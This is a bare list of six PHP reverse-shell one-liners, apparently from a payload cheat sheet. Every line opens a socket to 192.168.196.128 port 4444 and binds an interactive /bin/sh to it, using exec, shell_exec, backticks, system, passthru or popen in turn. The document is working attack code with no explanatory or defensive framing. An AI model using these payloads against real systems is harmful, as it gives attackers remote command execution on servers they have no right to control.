'$sock=fsockopen("192.168.196.128",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
'$sock=fsockopen("192.168.196.128",4444);shell_exec("/bin/sh -i <&3 >&3 2>&3");'
'$sock=fsockopen("192.168.196.128",4444);`/bin/sh -i <&3 >&3 2>&3`;'
'$sock=fsockopen("192.168.196.128",4444);system("/bin/sh -i <&3 >&3 2>&3");'
'$sock=fsockopen("192.168.196.128",4444);passthru("/bin/sh -i <&3 >&3 2>&3");'
'$sock=fsockopen("192.168.196.128",4444);popen("/bin/sh -i <&3 >&3 2>&3", "r");'